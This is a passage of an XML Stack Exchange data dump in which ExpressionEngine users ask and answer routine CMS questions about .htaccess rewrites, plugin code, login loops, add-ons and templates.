author_id&#xA;        ) AS t2 ON t.author_id = t2.author_id&#xA;        LEFT JOIN exp_members AS m ON m.member_id = t.author_id&#xA;        WHERE t.channel_id = 1&#xA;        AND status != 'closed'&#xA;        AND t.entry_date = t2.max_date&#xA;        GROUP BY t.author_id&#xA;        ORDER BY screen_name ASC&quot;&#xA;    cache=&quot;3600&quot;}&#xA;    {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;{screen_name}: &amp;lt;a href=&quot;{path='news/article/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This solution takes future-dated and closed entries into consideration, but additional filtering there may be needed depending on the nature of the content in question.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-06T19:24:30.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21729" PostTypeId="1" AcceptedAnswerId="21779" CreationDate="2014-05-06T19:24:54.347" Score="1" ViewCount="100" Body="&lt;p&gt;I'm trying to give a client the ability to add Vimeo videos in their entries in conjunction with Content Elements. There seems to be only one video fieldtype compatable with CE -  Embed video by krea but that only allows youtube uploads. Anyone else got this working or knows a workaround?&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-05-08T07:55:28.903" Title="Content Elements - Is there a Video add-on compatable with Vimeo?" Tags="|content-elements|video|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21730" PostTypeId="2" ParentId="21701" CreationDate="2014-05-06T19:27:35.233" Score="1" Body="&lt;p&gt;You could also change the logic on your login form so it tests against the group_id instead of logged_in. Then just make sure your channel form user is in a different group than your other users.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-06T19:27:35.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21733" PostTypeId="2" ParentId="5252" CreationDate="2014-05-06T22:58:38.297" Score="0" Body="&lt;p&gt;Try with this .htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;  # Enable Rewrite Engine&#xA;  # ------------------------------&#xA;  RewriteEngine On&#xA;  RewriteBase /&#xA;&#xA;  # Redirect index.php Requests&#xA;  # ------------------------------&#xA;&#xA;RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;  # Standard ExpressionEngine Rewrite&#xA;  # ------------------------------&#xA;  RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;RewriteCond %{QUERY_STRING} ^(ACT=.*)$ [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^(URL=.*)$ [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^(CSS=.*)$ [NC]&#xA; RewriteRule ^(.*)$ /index.php?&amp;amp;%{QUERY_STRING} [L] &#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-05-06T22:58:38.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21734" PostTypeId="1" AcceptedAnswerId="21735" CreationDate="2014-05-06T23:27:07.520" Score="0" ViewCount="42" Body="&lt;p&gt;I'm writing a custom plugin to tap into an external database, and I'm getting the overall results I want. However, I want to wrap my &lt;em&gt;return values&lt;/em&gt; around a conditional to avoid processing unnecessary queries further down the line - this bit doesn't seem to be working :-/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to check whether the current date is Christmas Day. So I have this early on in my logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($date[2]==&quot;25&quot; &amp;amp;&amp;amp; $date[1]==&quot;12&quot;) {&#xA;        $this-&amp;gt;return_data = '&amp;lt;p&amp;gt;Sorry, there are no sailings on Christmas Day.&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is 25/12, then obviously output the above message and ignore the rest of the plugin, otherwise run the SQL and return a timetable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats happening is (when I change the date to today) it continues through the plugin, always outputting the timetable, presumably because I've nothing to &lt;em&gt;stop&lt;/em&gt; the plugin after it returns the data in this conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to wrap this in an if/else structure? Or can I &lt;em&gt;break&lt;/em&gt; the processing somehow?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-05-06T23:44:04.797" Title="Conditionally returning result from a plugin" Tags="|add-on-development|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21735" PostTypeId="2" ParentId="21734" CreationDate="2014-05-06T23:44:04.797" Score="4" Body="&lt;p&gt;After setting the return data, you need to &lt;a href=&quot;http://www.php.net/manual/en/function.return.php&quot; rel=&quot;nofollow&quot;&gt;return&lt;/a&gt; program control to the Template class, which ends execution of the current method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($date[2] == 25 &amp;amp;&amp;amp; $date[1] == 12)&#xA;{&#xA;      $this-&amp;gt;return_data = '&amp;lt;p&amp;gt;Sorry, there are no sailings on Christmas Day.&amp;lt;/p&amp;gt;';&#xA;      return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Incidentally, it isn't necessary to set the &lt;code&gt;$return_data&lt;/code&gt; class property unless your plugin only operates in its &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.decon.php&quot; rel=&quot;nofollow&quot;&gt;constructor&lt;/a&gt;. So most plugin/module methods can simply return their output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($date[2] == 25 &amp;amp;&amp;amp; $date[1] == 12)&#xA;{&#xA;      return '&amp;lt;p&amp;gt;Sorry, there are no sailings on Christmas Day.&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-06T23:44:04.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21736" PostTypeId="1" AcceptedAnswerId="21739" CreationDate="2014-05-07T00:35:27.503" Score="1" ViewCount="107" Body="&lt;p&gt;How can I go about making the forum load into an iframe so I can maintain the main site's header and footer sections?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="159" LastEditDate="2014-05-07T07:47:25.677" LastActivityDate="2014-05-07T07:47:25.677" Title="Forum module : can i load the forum into an iframe?" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21737" PostTypeId="2" ParentId="15189" CreationDate="2014-05-07T01:45:55.863" Score="2" Body="&lt;p&gt;I am experiencing the same problem where it seems to happen when &quot;Is field searchable?&quot; is enabled within the field settings containing the Matrix field-type (not sure why??!)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution by changing line 7595 from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$select .= ', field_id_'.$fields[$key].' AS `'.$key.'`';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$select .= ', cd.field_id_'.$fields[$key].' AS `'.$key.'`';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within mod.super_search.php. This seems to have fixed the problem where the table alias is added to the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super Search V2.1.3&lt;/p&gt;&#xA;" OwnerUserId="2675" LastEditorUserId="2675" LastEditDate="2014-05-07T02:16:37.880" LastActivityDate="2014-05-07T02:16:37.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21738" PostTypeId="1" CreationDate="2014-05-07T01:46:14.440" Score="0" ViewCount="1369" Body="&lt;p&gt;I've just upgraded to freeform 4.1.7 from version 3 and am now getting the following error on form submit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&#xA;The following errors were encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Missing required valid POST variable - params_id&#xA;Return to Previous Page&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the site is using Transcribe 1.6, If ii turn off transcribe the form submits fine. the site is using country codes so when the form is submitted it goes to /es/?ACT=82 or /en/?ACT=82&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had this problem of know of a solution. Using EE2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone? :'(&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2014-05-08T01:16:33.760" LastActivityDate="2015-03-27T11:13:09.740" Title="Freeform + Transcribe = Missing required valid POST variable - params_id" Tags="|solspace-freeform|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21739" PostTypeId="2" ParentId="21736" CreationDate="2014-05-07T07:34:08.400" Score="5" Body="&lt;p&gt;This isn't really EE specific - you'd load the forum in an iframe like you'd load anything else in an iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said - loading it in an iframe isn't a good idea. If you want to use your global header and footer (embeds/snippets?) in the forum then run your forum through the regular template engine using the {exp:forum} tag. More info about that here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/forum/other_features.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/forum/other_features.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can have a template group called &quot;forum.group&quot; for instance, with an index.html in it which has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/global_header&quot;}&#xA;{exp:forum}&#xA;{sn_global_footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And voila, you have your global header / footer code around the forum. Then you'll need to dive into the forum global header and footer templates and remove some html there of course to make it work properly.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-05-07T07:34:08.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21740" PostTypeId="1" CreationDate="2014-05-07T10:23:02.277" Score="0" ViewCount="50" Body="&lt;p&gt;I have a bilingual website where I am using Low Yearly Archives to create a dropdown that shows how many news articles have been added in a single year using the {entries_in_year} tag. Only issue is it is showing double what the entries are because I have a bilingual site (using Transcribe) so each entry has an associated entry in another laguage. Is there a way for the {entries_in_year} tag to only show the count for the number of entries in that year for that specific language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="2773" LastActivityDate="2014-05-08T07:24:43.467" Title="Low Yearly Archives Showing Total News Articles in Two Languages" Tags="|transcribe|low|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21742" PostTypeId="2" ParentId="21729" CreationDate="2014-05-07T11:50:58.987" Score="2" Body="&lt;p&gt;One alternative would be to create a text fieldtype in which the client could simply enter the video ID, which you would then parse into the Vimeo embed code within the template.  It's not perfect, but it's a potential solution.  You might simply have to do an element name lookup to distinguish it from any other textfield options you have provided as an element.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-07T11:50:58.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21743" PostTypeId="1" CreationDate="2014-05-07T13:58:04.210" Score="1" ViewCount="396" Body="&lt;p&gt;I'm having the same &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/398/login-page-returns-to-the-login-page-doesnt-log-me-in&quot;&gt;issue described here&lt;/a&gt;. I've tried the working solution but it hasn't worked for. In config.local.php I have &lt;code&gt;$env_config['cookie_domain']   = 'buckley.dev';&lt;/code&gt; and I am still unable to login. This site is using the focuslab multi environment config set up in case that is relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was working last night when I installed EE 2.8.1 but when I tried to login this morning it won't let me. I am also unable to log in to the staging site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried logging in with Firefox unsuccessfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In config.master.php I have the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$env_config['cookie_domain'] = &quot;&quot;;&#xA;$env_config['cookie_path'] = &quot;&quot;;&#xA;$env_config['cookie_prefix'] = &quot;bulkley&quot;;&#xA;$env_config['admin_session_type'] = &quot;c&quot;;&#xA;$env_config['user_session_type'] = &quot;c&quot;;&#xA;$env_config['require_ip_for_login'] = &quot;n&quot;;&#xA;$env_config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$env_config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I am able to login via a front end form so I know my user/password are correct. I am however unable to access the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly if I login via the CP (and get redirected) and then I view the front end of the site when previously logged out, I am now logged in. So the issue isn't that I'm not logging in but that &lt;strong&gt;I can't access the control panel when logged in&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-07T14:36:17.407" Title="Can't login to control panel (redirects back to login)" Tags="|login|focus-lab-master-config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21744" PostTypeId="1" CreationDate="2014-05-07T14:12:21.923" Score="0" ViewCount="182" Body="&lt;p&gt;Any suggestions would be most appreciated with a problem I'm having with the control panel login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a brand new site, fresh install of 2.8.1, no modules. When I log in to the control panel it displays an error message that the form has expired. This happens in both FF and Chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking around for possible fixes, I've added the following to the config file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['admin_session_type'] = cs&#xA;$config['cookie_domain'] = .domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around the problem, I have to clear the browser cookies and files each time I start working each day. Once I'm in, if I log out I can usually log back in right away. I've cleared the browser cookies and files after a successful login and can usually log in again, too. So the problem seems to come up after I've been away for awhile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing I noticed is that I have an .htaccess file to remove index.php from URLs. When I comment out that code, the control panel login works again, regardless of whether I've cleared the browser cache/cookies. I'm using the code directly from the EE docs for removing index.php (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;). However, I have to remove the section about &quot;Removes index.php from ExpressionEngine URLS&quot; because it cause an internal server error. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    #RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    #RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    #RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked with my host, and the server should support this. I also ran the EE wizard just to confirm, and all looked good from that end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have an idea what is going on, or advice for what to try? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2014-05-07T15:12:28.637" Title="New EE 2.8.1 install control panel login error" Tags="|control-panel|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21746" PostTypeId="2" ParentId="21743" CreationDate="2014-05-07T14:36:17.407" Score="6" Body="&lt;p&gt;Some more googling and I found the answer &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20692/2-8-1-login-loop&quot;&gt;here&lt;/a&gt;. The issue is with Structure and setting it to redirect to structure on login.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I finally found out that Structure 3.3.1 is the culprit when you set&#xA;  it to redirect to Structure on login. You can get past it by editing&#xA;  the config file and change $config['allow_extensions'] = 'y'; to&#xA;  $config['allow_extensions'] = 'n';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have done this and turned off the redirect within structure and all is good now. &lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-05-07T14:36:17.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21747" PostTypeId="2" ParentId="21744" CreationDate="2014-05-07T15:12:28.637" Score="1" Body="&lt;p&gt;Did you rename your EE /system directory to something besides &quot;system&quot;? If you did, make sure to adjust your .htaccess file on this line so the RewriteCond will be ignored for the control panel directory. Not sure this is the fix but worth trying.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-07T15:12:28.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21749" PostTypeId="1" AcceptedAnswerId="21792" CreationDate="2014-05-07T15:44:31.347" Score="1" ViewCount="255" Body="&lt;p&gt;I have added an order custom field to the checkout process named &quot;Would you like this order gift wrapped?&quot; and there is one choice (check box) which is passing value, which is marking that order as a gift, but now store owner has decided to have added some $ amount to the total when that options is checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &amp;lt;td&amp;gt;Would you like this order gift wrapped?&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;yes&quot; name=&quot;order_custom1&quot; /&amp;gt; Yes&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;5.00&quot; name=&quot;order_custom2&quot; /&amp;gt; $5.00&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now how I can update total with value of order_custom2 when order_custom1 is not empty on Update Total (or auto update total w/ jQuery on check box checked event)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-05-07T16:03:55.833" LastActivityDate="2014-05-09T16:23:09.703" Title="Expresso Store: checkout and order custom field w/ amout value - how to calculate total" Tags="|expresso-store|custom-fields|checkout|custom-order-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21750" PostTypeId="1" CreationDate="2014-05-07T15:45:52.383" Score="1" ViewCount="58" Body="&lt;p&gt;Has anyone seen this.&#xA;user is on Log in page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything looks find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they have input their username and password in the appropriate fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And go down to click on the login button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all they can do is select the the word - login - with their cursor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &quot;enter&quot; does not yield any difference &lt;img src=&quot;https://i.stack.imgur.com/xcJzb.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="159" LastEditDate="2014-05-07T16:05:43.810" LastActivityDate="2014-05-07T16:39:31.507" Title="Problem Logging in" Tags="|login|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21751" PostTypeId="2" ParentId="21750" CreationDate="2014-05-07T16:27:19.160" Score="1" Body="&lt;p&gt;I just tried to login on your site using Chrome Version 34.0.1847.131 on OSX 10.9.2 and it worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your screenshot it looks like you have some ads being injected onto the page. Is this something intentional?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that you have some &quot;helper&quot; or perhaps malware on your system that is injecting the ad content and consequently breaking the proper functionality of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also works fine in Firefox 28, Safari 7.0.3, and Opera 12.15 on OSX as well as IE9 under Windows 7 and IE11 under Windows 8.1&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-07T16:39:31.507" LastActivityDate="2014-05-07T16:39:31.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21753" PostTypeId="2" ParentId="12975" CreationDate="2014-05-07T16:42:24.967" Score="1" Body="&lt;p&gt;First off, your &lt;code&gt;{images}&lt;/code&gt; tag is duplicated - instead of closing the first tag with &lt;code&gt;{/images}&lt;/code&gt;, you have another &lt;code&gt;{images}&lt;/code&gt;. Dunno if that's a simple typo from simplifying the actual template or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, is the &lt;code&gt;{if element_name==&quot;intro_image&quot;}&lt;/code&gt; code getting called at all? I've found that such conditionals never work for me. I have to wrap &lt;code&gt;element_name&lt;/code&gt; in quotes and EE tags: &lt;code&gt;{if '{element_name}' == &quot;intro_image&quot;}&lt;/code&gt;. You can insert some temporary code in the conditional to make sure that part is working at least:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          {if '{element_name}'==&quot;intro_image&quot;}&#xA;             {!-- Debug code --}&#xA;             Element name is &quot;intro_image&quot;!&#xA;             {!-- // Debug code --}&#xA;             {images}&#xA;                {related_article:image} &amp;lt;= doesn´t work!&#xA;             {images}&#xA;             --}&#xA;          {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once all that's sorted out, if you still have problems, let me know. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: And yes, I know this is a rather old question, but Google sent me here! :p&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-05-07T16:42:24.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21754" PostTypeId="1" AcceptedAnswerId="21767" CreationDate="2014-05-07T16:45:57.397" Score="3" ViewCount="40" Body="&lt;p&gt;I would like to have a Structure managed page span the content of that entry over multiple pages using the method in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/pagination_spanning.html&quot; rel=&quot;nofollow&quot;&gt;EE Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;articles&quot; paginate_type=&quot;field&quot; paginate=&quot;bottom&quot; limit=&quot;1&quot; }&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;         &#xA;        {multi_field=&quot;page1|page2|page3|page4|page5&quot;}&#xA;&#xA;        {paginate}&#xA;        Page {current_page} of {total_pages} | {pagination_links}&#xA;        {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first page shows the content from {page1} however each addition page is empty.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding dynamic=&quot;no&quot; &amp;amp; url_title=&quot;{segment_2}&quot; to the exp:channel:entries tag with the same results.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other options that I might be missing or is this just not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-07T23:39:10.070" Title="Is it possible to span an entry over multiple pages with Structure?" Tags="|channel-entries|structure|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21755" PostTypeId="2" ParentId="21649" CreationDate="2014-05-07T16:53:55.337" Score="2" Body="&lt;p&gt;This could be down to security on your mail server rejecting a non-existant &quot;from&quot; address. Does the email address set up for EE return emails actually exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to try putting the mail through a transactional service such as Mandrill at least to debug what's going on. That will tell you whether or not the mail is being sent and just not received or never even being sent.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-07T16:53:55.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21756" PostTypeId="2" ParentId="21711" CreationDate="2014-05-07T17:53:50.260" Score="1" Body="&lt;p&gt;Start with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;Development Documentation&lt;/a&gt; for a broad overview of topics that will be relevant to building your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically though, you will want to drill into the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;module development instructions&lt;/a&gt; and go through the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;module development tutorial&lt;/a&gt; that comes with &lt;a href=&quot;https://github.com/EllisLab/ee-tuts-download-module&quot; rel=&quot;nofollow&quot;&gt;sample code&lt;/a&gt; that you can learn from.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-07T17:53:50.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21758" PostTypeId="2" ParentId="21680" CreationDate="2014-05-07T18:56:37.150" Score="1" Body="&lt;p&gt;You have still included your JavaScript in the wrong order, jQuery should come first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it is now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- More Foundation pannel --&amp;gt;&#xA;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/jquery.foundation.tabs.js&quot;&amp;gt;&amp;lt;/script&#xA;&amp;lt;!-- END More Foundation pannel --&amp;gt;&#xA;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/foundation.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How it must be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- More Foundation pannel --&amp;gt;&#xA;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/jquery.foundation.tabs.js&quot;&amp;gt;&amp;lt;/script&#xA;&amp;lt;!-- END More Foundation pannel --&amp;gt;&#xA;&amp;lt;script src=&quot;http://niwot.colorado.edu/eejavascripts/foundation.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-05-07T18:56:37.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21759" PostTypeId="2" ParentId="21699" CreationDate="2014-05-07T19:10:07.867" Score="0" Body="&lt;p&gt;What will really make your day is the &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories add-on&lt;/a&gt;. If you set the parameter show_empty=&quot;no&quot; you're good to go. &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;Documentation here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if we can be of any more help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: native EE also has this built in&lt;/p&gt;&#xA;" OwnerUserId="1020" LastEditorUserId="1020" LastEditDate="2014-05-07T19:39:06.640" LastActivityDate="2014-05-07T19:39:06.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
